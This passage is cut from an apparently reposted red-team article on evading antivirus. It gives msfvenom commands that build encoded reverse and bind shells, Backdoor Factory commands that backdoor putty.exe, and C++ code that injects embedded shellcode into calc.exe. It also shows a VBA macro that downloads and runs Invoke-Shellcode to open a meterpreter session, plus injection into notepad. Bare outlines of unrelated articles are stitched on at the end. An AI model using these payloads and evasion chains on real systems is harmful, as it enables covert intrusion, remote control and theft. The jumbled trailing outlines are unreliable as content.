    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

Using Templates and Encoders

Example usage:

msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe 

msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe

Veil Encryption:

Figure 15: Veil framework encryption options

Schelper:

Figure 16: Schelper tool interface

Obfuscation (PowerShell):

Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet

Figure 17: PowerShell obfuscation output

This concludes our discussion on shellcode encoding for execution. Other programming languages follow similar principles and will not be enumerated further.

The preceding examples addressed encoding and encryption of shellcode. Let us now explore shellcode injection techniques.

B) Shellcode Injection Obfuscation

A significant number of injection-based evasion techniques incorporate shellcode fragmentation.

The concept of fragmentation is straightforward: analogous to fragmenting dangerous function names in PHP web shell obfuscation, shellcode can be similarly fragmented to evade detection.

Shellcode fragmentation can involve relocating the shellcode within the binary—for instance, by creating a new section, populating it with shellcode, and modifying the entry point to jump to the shellcode address before returning to the original program entry point.

Alternatively, shellcode can be distributed across multiple code caves and executed in segments. This approach is conceptually similar to the Omelet Shellcode technique found in egg-hunt shellcode implementations.

Let us examine some injection examples:

Backdoor Factory (BDF):

https://github.com/secretsquirrel/the-backdoor-factory

*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 410
[*] All caves lengths:  410
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 410
[*] Available caves: 
1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609
3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493
4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713
5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564
6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581
7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432
8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713
9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564
10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317
11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581
12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432
13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064
14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705
15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317
16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683

The -F parameter in BDF enables multi-cave injection.

backdoor-factory -f putty.exe -s show
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444

Shellter:

The 'A' option enables section-based injection.

Figure 18: Shellter section injection options

Avet:

root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh 

lhost=192.168.174.134

root@kali:/tmp/avet/build# cd ..

root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh

No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of c file: 2339 bytes
./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error
avet.c: In function 'main':
avet.c:122:15: error: 'buf' undeclared (first use in this function)
   shellcode = buf;
               ^
avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in

Legitimate Process Injection

Shellcode can also be injected into a legitimate running process manually. Example:

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
using namespace std;
    unsigned char shellcode[] =
        "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
        "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39"
        "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6"
        "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06"
        "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61"
        "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78"
        "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17"
        "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c"
        "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b"
        "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e"
        "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a"
        "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8"
        "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee"
        "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03"
        "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e"
        "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13"
        "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5"
        "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88"
        "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c"
        "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75"
        "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58"
        "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84"
        "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20"
        "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20"
        "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";


    BOOL injection()
    {
        wchar_t Cappname[MAX_PATH] = { 0 };
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        LPVOID lpMalwareBaseAddr;
        LPVOID lpnewVictimBaseAddr;
        HANDLE hThread;
        DWORD dwExitCode;
        BOOL bRet = FALSE;

        lpMalwareBaseAddr = shellcode;

        GetSystemDirectory(Cappname, MAX_PATH);
        _tcscat(Cappname, L"\\calc.exe");
        printf("Injection program Name:%S\r\n", Cappname);

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        if (CreateProcess(Cappname, NULL, NULL, NULL,
            FALSE, CREATE_SUSPENDED
            , NULL, NULL, &si, &pi) == 0)
        {
            return bRet;
        }

        lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
            , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);

        if (lpnewVictimBaseAddr == NULL)
        {
            return bRet;
        }

        WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
            (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

        hThread = CreateRemoteThread(pi.hProcess, 0, 0,
            (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

        WaitForSingleObject(pi.hThread, INFINITE);
        GetExitCodeProcess(pi.hProcess, &dwExitCode);
        TerminateProcess(pi.hProcess, 0);
        return bRet;
    }

    void help(char* proc)
    {
        printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
    }

    int main(int argc, char* argv[])
    {
        help(argv[0]);
        injection();
    }

*Figure 19: Process injection code compilation

Figure 20: Process injection execution

Figure 21: Detection results for process injection

I shall conclude the injection examples here. Consider the question: how can one circumvent API hooking detection? Function substitution offers one approach. For instance, among the Win32 APIs, there exist numerous alternatives to VirtualAlloc that can be employed:

Figure 22: Alternative memory allocation functions

0x03 Technique Combinations

We have discussed various techniques, encompassing the separation approach (loaders executing shellcode, whitelist exploitation for malicious execution), as well as shellcode encoding, encryption, and injection. Each technique individually contributes to evasion to some degree; however, employing any single technique in isolation often presents certain limitations.

The key consideration is combining these techniques to achieve optimal results.

Here is a particularly effective example:

Powershell-Payload-Excel-Delivery

https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/

This technique employs shellcode to invoke Graeber's VBA macro, which executes PowerShell (optionally encoded) in memory to achieve persistent backdoor access.

Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID

Figure 23: PowerShell payload delivery via Excel

C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose

VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!

The techniques themselves are static; creativity in their application is paramount. I trust that this article serves as a catalyst for further exploration, encouraging practitioners to combine multiple techniques with ingenuity to achieve their desired outcomes in real-world environments.

DEV Community: Excalibra

Technical Training on Common Red Team Attack Scenarios During Major Event Security Assurance

Executive Summary

Chapter 1: Overall Situation of Major Event Security Assurance and Red Team Attacks

1.1 What is Major Event Security Assurance?

1.2 Definition and Role of the Red Team

1.3 Characteristics of Red Team Attacks During Major Event Security Assurance

1.4 Typical Attack Chain of Red Team Attacks

Chapter 2: Panorama of Common Red Team Attack Scenarios During Major Event Security Assurance

Chapter 3: In-Depth Analysis of Common Red Team Attack Scenarios

3.1 Scenario One: Internet Attack Surface Breach and Boundary Vulnerability Exploitation

3.1.1 Scenario Description

3.1.2 Attack Chain Analysis

3.1.3 Typical Techniques and Tools

3.1.4 Blue Team Countermeasures

3.2 Scenario Two: Phishing Emails and Social Engineering Attacks

3.2.1 Attack Description

3.2.2 Attack Chain Analysis

3.2.3 Typical Phishing Types

3.2.4 Blue Team Countermeasures

3.3 Scenario Three: Supply Chain Attacks and Third-Party Risks

3.3.1 Attack Description

3.3.2 Attack Chain Analysis

3.3.3 Typical Cases and Techniques

3.3.4 Blue Team Countermeasures

3.4 Scenario Four: 0day and Nday Vulnerability Exploitation

3.4.1 Attack Description

3.4.2 Attack Chain Analysis

3.4.3 Typical Vulnerability Types and Impact

3.4.4 Blue Team Countermeasures

3.5 Scenario Five: Internal Network Penetration and Lateral Movement

3.5.1 Attack Description

3.5.2 Attack Chain Analysis

3.5.3 Typical Attack Techniques and Tools

3.5.4 Blue Team Countermeasures

3.6 Scenario Six: Data Theft and Data Security Destruction

3.6.1 Attack Description

3.6.2 Attack Chain Analysis

3.6.3 Typical Data Theft Techniques

3.6.4 Blue Team Countermeasures

3.7 Scenario Seven: DDoS Attacks and Business Paralysis

3.7.1 Attack Description

3.7.2 Attack Chain Analysis

3.7.3 Typical DDoS Attack Types

3.7.4 Blue Team Countermeasures

3.8 Scenario Eight: Critical Infrastructure and Industrial Control System Attacks

3.8.1 Attack Description

3.8.2 Attack Chain Analysis

3.8.3 Blue Team Countermeasures

Chapter 4: Summary of Red Team Attack Scenarios During Major Event Security Assurance

4.1 Core Points in Attacks

4.2 Core Common Characteristics of Red Team Attacks

4.3 Five Key Actions for Blue Team Defence

4.4 Conclusion

Chapter 5: Closing Remarks

Appendix A: Self-Check Checklist for Red Team Attack Scenarios During Major Event Security Assurance

Appendix B: Quick Reference for Common Red Team Tools and Detection Countermeasures

Droid ASC: A High-Performance Tool for Android Reverse Engineering and Vulnerability Discovery

Executive Summary

Introduction: The Inefficiency of Traditional Decompilers

Benchmark Performance

The Zero-Index Approach: Core Innovations

How to Use Droid ASC

Step 1: Environment Preparation

Step 2: Graphical Interface

Step 3: Command-Line Extraction of a Single Class

Step 4: Global Reference Search (findrefs)

Value in Penetration Testing

Conclusion

Constructing a CrowdStrike EDR Evasion Debugging Pipeline

Executive Summary

Introduction

The Console: A Mere Reporter of Results

The Six Stages of Detection

Single‑Variable Testing: The Only Scientific Approach

The Importance of Reproducibility: EDR Has Memory

Detonator: Automating the Debugging Pipeline

What Is Detonator?

Step 1: Environment Preparation

Step 2: Configure EDR Integration

Step 4: Global Reference Search (`findrefs`)